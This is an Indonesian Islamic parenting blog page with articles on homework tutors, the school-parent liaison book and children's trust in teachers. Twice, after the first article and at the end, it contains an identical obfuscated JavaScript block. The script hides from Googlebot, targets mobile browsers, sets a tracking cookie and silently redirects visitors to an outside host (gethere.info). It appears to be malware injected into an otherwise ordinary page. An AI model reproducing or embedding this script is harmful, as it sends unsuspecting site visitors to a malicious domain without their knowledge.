<li>Keberadaan guru les pada satu sisi akan banyak membantu orang tua di dalam mendampingi putra-putri mengerjakan PR. Namun banyak sekali guru less berkembang menjadi tandingan bagi gurunya di sekolah. Anak mengalami dualisme kepercayaan, antara guru di sekolahnya dan guru les di rumah</li>
</ol>
PR adalah sebuah sarana bagi guru dan orang tua, ia seperti pisau di tangan seorang koki. Pastikan pisau tersebut digunakan dengan semestinya.

&nbsp;

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Cara Mendidik Anak Cerdas : Bahaya Buku Penghubung ( Sebuah Wacana )

Terima kasih atas ketersentakan Bapak/Ibu wali murid terhadap judul di atas. Tidak mungkin buku penghubung yang didesain awal dengan kemaslahatan-kemaslahatan di dalamnya justru menimbulkan bahaya bagi anak. Niat awal menerapkan program buku penghubung adalah terjalinnya komunikasi efektif antara orang tua dan sekolah, asal semua pihak mempunyai niat yang sama pasti buku penghubung itu akan banyak manfaatnya.
Pernyataan di atas mengingatkan pada cerita tentang seekor kera yang siang itu berayun di atas pohon besar yang daunnya mulai meranggas karena kemarau panjang. Sejurus kemudian ia melihat beberapa ekor ikan yang tidak tenang berenang pada sebuah kolam kecil di bawahnya. Muncul perasaan iba dari kera tersebut, kemudian ia berniat hendak menolong ikan-ikan tersebut dengan memindahkannya ke bawah daun-daun yang tidak terkena terik matahari. Beberapa saat kemudian ikan-ikan tersebut tidak bergerak lagi dan mati, karena tempat baru yang rindang tadi tidak ada airnya.
Kera mempunyai niat yang baik untuk menolong ikan dari panas terik matahari, namun ia tidak mengetahui satu prasyarat dasar bahwa ikan tidak mungkin hidup tanpa air. Ia telah menolong, tetapi pertolongannya justru mempercepat proses kematian saudaranya.
Program buku penghubung dibangun dalam sebuah kerangka niat untuk membangun komunikasi yang efektif antara wali murid dan sekolah. Kesibukan orang tua yang semakin tinggi merupakan kendala bagi pihak sekolah untuk menyampaikan informasi tentang perkembangan siswa-siswinya di sekolah. Sementara orang tua muncul perasaan tidak nyaman untuk menelepon guru putra-putrinya, karena takut mengganggu tugas mereka. Akan tetapi niat yang baik ini dapat menjadi bahaya jika tidak dilaksanakan dengan penuh kesungguhan dan tanggung jawab.
Minimal ada tiga manfaat yang dapat diambil oleh orang tua dan sekolah dari implementasi buku penghubung. Pertama, buku penghubung menjadi sarana untuk pemantauan kegiatan siswa di sekolah dan di rumah. Kedua, buku penghubung menjadi parameter dasar beberapa sikap dan karakter yang harus dilatihkan kepada anak setiap hari. Ketiga, orang tua dan guru dapat menulis pesan dan kondisi terkini siswa agar masing-masing pihak dapat memberikan follow up terhadap pesan tersebut
Namun, dari banyak manfaat yang terdapat pada buku penghubung tidak berarti ia tidak mengandung beberapa bahaya bagi anak. Seperti sebilah pisau yang sangat tajam, pada tangan seorang koki pisau tersebut sangat berguna. Sebaliknya pada tangan seorang penjahat pisau tersebut menjadi benda yang sangat membahayakan.
Beberapa bahaya tersebut mayoritas muncul dari proses implementasi program, diantaranya;

  1. Buku penghubung sebagai sarana untuk menakut-nakuti anak agar mau melakukan tugasnya. Seringkali orang tua yang mulai jengkel terhadap perilaku anaknya yang tidak segera mengerjakan tugas, membawa buku penghubung untuk dibaca di depan putra-putri dengan nada ancaman. Terdapat beberapa pengaruh negatif dari sikap orang tua yang selalu melakukannya. Pertama, muncul ketergantungan anak terhadap ancaman sehingga ia tidak akan melakukan tugasnya jika belum mendapat ancaman tersebut. Kedua, beberapa materi checlist yang ada dalam buku penghubung hanya menjadi sarana untuk mengancam anak, seperti petani yang selalu membawa cambuk untuk memastikan sapinya berjalan lurus ke depan. Sementara karakter yang sebenarnya ingin ditanamkan dalam buku penghubung tersebut dengan membangun motivasi internal anak justru terlewatkan
  2. Buku penghubung ditulis tidak sesuai dengan kondisi riil anak karena munculnya rasa kasihan kepada anak dan ingin melindunginya. Perilaku ini akan memunculkan sifat tidak jujur pada diri anak. Ia mendapatkan pujian di depan guru-gurunya walaupun sebenarnya ia tidak pernah melakukannya. Sifat tidak jujur ini lebih kuat menancap pada diri anak karena ia merasa didukung oleh orang tuanya
  3. Buku penghubungan ditulis sesuai dengan permintaan anak. Beberapa anak merengek kepada orang tuanya untuk menuliskan hal yang baik saja, atau meminta orang tuanya untuk menunggu ia melakukan shalat isya’ walaupun waktu itu sudah masuk shalat shubuh. Pada beberapa kali kondisi ini tidak terlalu berbahaya karena menunjukkan fleksibilitas orang tua dan memberi kesempatan bagi anak untuk memperbaiki diri. Namun akan sangat berbahaya jika selalu dilakukan oleh orang tua, karena menumbuhkan perilaku tidak komitmen pada diri anak. Ia terbiasa untuk mengubah peraturan dengan kecenderungan selalu boleh orang tuanya.
  4. Tidak ada tindak lanjut terhadap informasi dan hasil yang ada pada buku penghubung. Kondisi ini akan menjadikan anak terbiasa untuk meremehkan. Akan muncul anggapan bahwa mengisi buku penghubung hanyalah rutinitas antara orang tua dan guru mereka di sekolah. Baik maupun buruk yang diisi mereka pada buku penghubung tidak ada pengaruh bagi dirinya
  5. Orang tua atau guru tidak mempunyai kepedulian untuk mengisi buku penghubung. Sebuah program yang dicanangkan untuk diberlakukan kemudian karena alasan kesibukan dilaksanakan dengan setengah-setengah atau tidak sama sekali akan menjadi contoh buruk bagi pihak yang dikenai program tersebut. Seorang anak diawal tahun sudah dijelaskan tentang mekanisme buku penghubung serta kewajiban-kewajiban yang harus mereka lakukan sehubungan dengan buku tersebut, namun karena alasan kesibukan atau ketidakpedulian pihak-pihak terkait akan menumbukan sifat-sifat tidak konsisten, tidak bertanggung jawab, dan acuh tak acuh pada diri anak.

Dengan beberapa bahaya pada buku penghubung di atas tidak berarti kita harus surut untuk meninggalkan program tersebut, namun yang perlu ditumbuhkan adalah komitmen semua pihak, khususnya orang tua dan guru untuk menjadikan program ini sebagai program yang baik dan perlu dilaksanakan dengan sungguh-sungguh.

Saat satu gigi kita sakit tidak semua gigi harus ditanggalkan

Tips Parenting Islami : Guruku Anakku

Banyak orang tua merasa iri betapa putra-putri mereka lebih senang mendengarkan dan menuruti kata-kata gurunya daripada kata-kata orang tuanya. Mereka sering harus memarahi putra-putrinya untuk meminta melaksanakan shalat di awal waktu. Tetapi, betapa herannya mereka ketika anak-anak tersebut tiba-tiba berubah seratus delapan puluh derajat dan dengan segera melaksanakan shalat seusai adzan berkumandang. Setelah diselidi, ternyata guru di sekolahnya telah memberi nasihat kepada anak-anak tersebut untuk menyegerakan shalat saat adzan berkumandang.
Ada sedikit desiran di dalam hati kita, rasa iri akan kemampuan guru di dalam mengarahkan putra-putri kita. Ada kekhawatiran akan semakin hilangnya otoritas kita sebagai orang tua atas mereka. Kita merasa takut jika putra-putri kita di kemudian hari tidak lagi mau menaati kita sebagai orang tuanya, padahal kitalah yang merawat dan membiayai mereka sehari-hari.
Sebenarnya benarkah kita merasa iri dan khawatir akan sikap putra-putri kita tersebut? Beberapa psikolog justru melihat fenomena di atas sebagai sebuah kesuksesan dari suatu proses pendidikan. Anak yang selama ini hanya menerima otoritas orang tua telah berkembang sosialnya dengan menerima otoritas orang lain, yaitu otoritas gurunya. Dalam hal ini berarti salah satu tugas perkembangannya telah terlampaui, yaitu semakin meningkatnya skill sosial dengan menjadikan gurunya sebagai orang lain yang dipercayai.
Kegagalan anak pada proses ini akan menghambat mereka untuk membangun kepercayaan kepada orang lain. Kepercayaan kepada orang lain adalah modal dasar anak bagi terjadinya interaksi dengan orang lain.
Berbahagialah orang tua yang putra-putrinya menempatkan kepercayaan kepada gurunya yang nota bene mereka bertanggung jawab kepada kebaikan mereka, daripada mereka lebih percaya kepada teman-temannya dahulu. Banyak kasus remaja yang tumbuh dalam lingkungan keluarga yang baik, namun berkembang menjadi kurang baik karena kepercayaan mereka terhadap teman lebih tinggi daripada kepercayaan mereka kepada orang tuanya. Kebetulan teman yang mereka percayai tidak mengajak mereka kepada hal-hal yang baik.
Kewajiban orang tua dalam masalah ini adalah belajar untuk memahami bahwa sikap tersebut adalah hal wajar bahkan perlu disyukuri. Supaya orang tua tidak semakin kehilangan otoritas atas putranya adalah mengamati kepada guru apa yang yang telah dianjurkan untuk putra-putrinya dan apa yang dilarang, sehingga orang tua dan guru merupakan satu kata dan satu hati, karena sebenarnya orang tua dan guru adalah satu tim bagi perkembangan pendidikan anak.
Alangkah indahnya jika saat orang tua kesulitan untuk mengarahkan anak tentang kewajiban rumah, ada guru yang membantu mereka mengarahkannya. Atau sebaliknya, guru yang tidak mampu memanage seluruh kegiatan siswa di rumah, orang tua sangat perhatian terhadap kegiatan mereka.
Di samping masalah perpindahkan otoritas, fenomena di atas mungkin dipicu karakter orang tua yang jarang sekali memberi kesempatan anak untuk berbicara. Kesempatan dapat berupa waktu yang cukup bagi anak untuk melakukan kegiatan bersama orang tuanya dan saling berkomunikasi dengan harmonis. Kesempatan juga dapat berupa kesiapan orang tua untuk lebih banyak mendengar celoteh dan informasi dari anak dengan tanpa menjustifikasi benar dan salahnya ungkapan mereka.
Alangkah naifnya kita menuntut anak untuk lebih dekat dengan kita karena alasan mereka lahir dari kita, namun waktu yang kita berikan bagi mereka amat sempit bahkan dalam waktu-waktu yang tidak produktif sama sekali. Atau kita menuntut mereka mendengarkan apa yang kita bicarakan namun kita sendiri sulit untuk mendengarkan apa yang mereka katakan.
Kata kuncinya adalah "attachment" kedekatan antara orang tua dan anak. Apakah kita merasa telah dekat dengan anak dan mereka merasa dekat dengan kita. Jangan-jangan kita orang tua merasa kedekatan kita kepada anak cukup, namun sebaliknya mereka tidak merasakan sama sekali kedekatan itu dengan kita.
Betapa dekatnya Rasul kita Muhammad dengan anak, yang rela berlama-lama sujud hanya karena menunggu cucunya menikmati tunggangan pundak kakeknya.<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>